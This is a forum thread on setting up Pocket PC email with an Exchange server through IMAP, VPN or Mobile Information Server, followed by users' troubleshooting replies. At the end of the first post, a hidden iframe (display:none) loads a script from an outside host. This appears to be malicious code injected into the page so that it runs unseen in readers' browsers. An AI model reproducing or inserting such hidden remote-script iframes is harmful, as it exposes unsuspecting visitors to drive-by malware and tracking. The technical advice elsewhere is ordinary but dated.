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  1. #1
    Registered User SwampNut's Avatar
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    How do I use Pocket PC e-mail with an Exchange Server?

    This is a common question from corporate users, and the answer can be difficult because of the various ways that your network and server(s) may be configured. In this brief article I will try to touch upon the basic principles and give you enough information to at least understand what your specific configuration is and what needs to be changed.

    First off, let's clarify some terminology:

    Sync: To synchronize data, typically meaning mail/calendar/tasks. Outlook and Exchange have a special proprietary connection which keeps data synchronized between client and server. There is no true Exchange client for the Pocket PC.

    POP3 & IMAP4: These are industry standard mail protocols. IMAP is a sync protocol.

    Firewall: A device that blocks specific TCP ports (think of them as specific internet services like mail, web, FTP) from being accessed on your internal servers from the internet. A firewall is configurable for specific needs and access.

    VPN: Virtual Private Network; a software layer that is established between two points on the internet and provides for secure data transfer. This is typically between a laptop/home user and a firewall device at a company. This basically "punches a hole" in the firewall for the authenticated VPN client user.

    Active Directory: This is an authentication protocol used in 2000 Server, Exchange 2000, and newer. It can also run in "mixed mode" if you have older servers (IE, NT).

    MIS: Mobile Information Server; this is software from Microsoft which allows you to do a full remote sync with Exchange. It will sync mail/calendar/tasks, but it takes much more time and data. This is generally impractical unless you have a large data transfer budget or have very little data to sync. MIS can NOT be run on a mixed-mode Active Directory installation nor on the old NT authentication scheme. You need to use it with native mode Active Directory only.

    Now the absolute easiest way to sync your PPC e-mail is via IMAP directly to the Exchange server. To do this, your firewall needs to have the IMAP ports open between the server and at least the subnet of your wireless carrier. The ports are 143, 220, and 993. You can find out your carrier's subnet range by calling them, or by running vxUtil on your device while you have a connection and getting your IP configuration. Your Exchange server needs to have IMAP enabled, which literally takes just a few clicks. Any Exchange admin can do this in a few minutes.

    On the Pocket PC, open the Inbox, tap the Services menu, New Service... Enter your e-mail address in the box, and press Next. Skip the automatic testing. In the next dialog enter your user info such as your real name (as you want it to be in the "from" field), your login name (typically user@domain.com, same as your e-mail address), and password. Hit Next, and select IMAP4 service type, then enter a name for this account (any name you want, this is for you to remember which account this is), hit Next. Here you will enter your mail server names. Typically this is mail.domain.com, but ask your IT department. Tap the options buttons and select "Outgoing mail requires authentication" then hit Next. Set your preferences here, hit Next twice, and you're done.

    The only drawback to this method is a very slight security risk which can be averted by keeping the latest service packs on your Exchange server. This is the methodology I use and recommend, and that all of my clients use. I do not know of any specific security risks with IMAP, and find that most objections to it are based merely on FUD (fear, uncertainty, doubt). Unfortunately, FUD plays a big role in many IT decisions. The other factor is the nerds; they want to do lock things down just because they can or think they should. IMAP is a proven, secure, industry-standard protocol that is well-implemented on Exchange server 5.5 and above.

    You can also use POP to get your mail. The drawback is that POP is not a sync protocol like IMAP. People using POP tend to run into issues with not knowing whether an e-mail is on the server or has been removed to a client. This makes it undesirable for the non-technical business user. The ONLY caveat for IMAP is that you should sync again after you've done anything with your e-mail to make that change to the server. IE, if you delete an e-mail on the client, it will not be deleted on the server until you sync again.

    Now if your IT department refuses to allow outside access directly to the Exchange server, you may need to establish a VPN to the firewall. To do this you will need client software, and this is more complicated than what I'd like to discuss here. The best starting point is to ask the manufacturer of your firewall for a recommendation on a Pocket PC VPN client. Once you connect the VPN, then you can use IMAP as outlined above to get your mail. With a VPN, it will work just as if you were in the office.

    Speaking of which, you can test these things using the pass-through function of ActiveSync while the device is in the cradle at the office. This will help you determine the source of a problem, for example. If you can connect in the office but not wirelessly, then you have a proper e-mail configuration but you have a network/firewall issue.

    Please feel free to shoot any specific questions my way. However, this is meant as information you can use to guide your Exchange and firewall admins and not a complete how-to for the novice. If you do not have admins on site, someone will need to configure this. You can contact any qualified Exchange and/or firewall admin to help you with this, and I'm also available for implementation, design, and consulting work. My background is in wide area communications, security, and internet services.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
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    MIS and Exchange

    To add more to the previous response, I would suggest implementing either Microsoft MIS 2002 or the newly released Exchange 2003. Since the Pocket PC is the Windows CE OS, MSFT has integrated it nicely with their own products. It is a relatively easy effort to install and confiure MIS to integrate with your Exchange server. Addtionally, MIS provides WAP support for those in an organization who use WAP based phone. Moreover, the information is transmitted securely via HTTPS.

    If you go the Exchange 2003 route, there is built in support removing the need to install MIS 2002.

    Either way you proceed, it is best to download an evaluation version from MSFT's site and then read the help files. It gives you step by step instructions on how to prepare and install this enviornment.

    Like SwampNut, I too am available for help if anyone has a need to install these products. My email is tkaroli@westmonroepartners.com.

  3. #3
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    GPRS

    Will the GPRS remain constantly on? If not is there a way to do this?

  4. #4
    Registered User SwampNut's Avatar
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    That depends on your ROM version. The original ones do not allow GPRS to stay on, the newer ones do.

    If your provider is T-Mobile, you can set up SMS alerts for new mail via their web site. This is what I use, and it works very well.

  5. #5
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    Service Discconnect When Trying to Collect E-Mail

    To Swampnut: I have a T-Mobile PPC PE; and have installed Movian VPN software to clear the firewall to the Company sever. The vpn works fine, and allows access to company home pages etc. However, when trying to collect e-mail from the Exchange Server, the Inbox begins to 'dial' again (almost as if the PPC doesn't realize it's already connected); then before the e-mail can be downloaded, the GPRS service disconnects.
    Very frustrating, because we have used Pocket Outlook Inbox; and Webis@mail (client) and the same thing happens every time.
    Crawfz

  6. #6
    Registered User SwampNut's Avatar
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    What is the IP and subnet you are assigned on the VPN connection? What is the IP/subnet of the Exchange server?

    What protocol are you trying to use to get to exchange? POP? IMAP? MIS? Can you connect to Outlook Web Access (if you have that enabled)?

  7. #7
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    I am unable to provide you with the IP and subnet info right now, but the IT team tell me they are the appropriate numbers to connect.
    I am able to connect to the Web Access Outlook, but when I click on the mail icons they do not activate. The IT team tells me that our version of Exchange is too old, and needs updating to the 2000 version.
    Crawfz

  8. #8
    Registered User SwampNut's Avatar
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    My first guess is that there's a routing issue. I was asking about the IP addressing because if the VPN and the Exchange server are on different subnets, that would point us in the direction of a possible routing issue. If they are on the same subnet, it's less likely. Though the fact that it tries to dial again probably means the PPC thinks it can't get to that particular IP address for some reason.

  9. #9
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    The provider of the vpn software (Certicom) reports that they are able to connect easily with their company server, behind a firewall. I believe that this problem is related to the Outlook Setup; but there doesn't appear to be too many options to change. I think this problem may be caused by something simple and fundamental in the setup.
    Crawfz

  10. #10
    Registered User SwampNut's Avatar
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    That's fine, but the potential routing issue if the VPN server and Exchange server are on different subnets remains. Can you ping the Exchange server? Get a copy of vxUtils (free) and try it.

  11. #11
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    Interestingly I can now get this to work, but I have noticed an anomoly, which seems to rely on the strength of the connection (bandwidth).
    After making an internet connection; then successfully negotiating through the corproate firewall (via vpn), I click on Inbox. If I have a strong signal strength the prompt (lower left of screen) says 'Connecting' and 'Logging on', then it shows 'Sending and Receiving' - and the mail downloads.
    If I have a poor connection, the prompt says 'Dialling' and shortly after that I lose the connection.
    So it seems to work on and off, depending on the connection. At least that's my primitive explanation for what's happening.
    Crawfz

  12. #12
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    Can you schedule the POP3 email accounts to get checked at defined intervals? Basically, I don't want to pull the mail manually, I'd like the device to go check periodically...

    Thanks...

  13. #13
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    email question

    Hi - I am in the process of buying a PDA for one reason only - I need to be able to set Pocket Outlook to download all emails form my company Exchange 2003 server. I need the software to check every 5 (example) mins during the night to see if there are any mails in a mailbox and if there are download them.

    I intend to buy a qtek 2020i - I am an IT professional and have extensive Exchange 2003 skills so the setup of IMAP on the server is not a problem - ALL I NEED TO KNOW IS IF WHAT I WANT IS POSSIBLE?

    Thanks in advance for any help.

    Adamwilko007.

  14. #14
    Registered User SwampNut's Avatar
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    Re: email question

    What you want to do is built into the OS; there's not even a need to use IMAP. You'll just tell it to sync on a 5-minute schedule automatically. Or just have it only sync when a new item arrives, which is also a built in feature with Exchange 03.
    --
    Carlos Alvarez, Chandler, AZ

    "One cannot expect freedom of speech without the burden of thought."

  15. #15
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    PDA email

    Thank you very much for the prompt reply - this is a great response.

  16. #16
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    IMAP4 not sending external mail

    Please help my IMAP4 on my PDA2K recieves mail fine and I can send mail to internal adresses but not to external mail addresses ?


    regards
    Len

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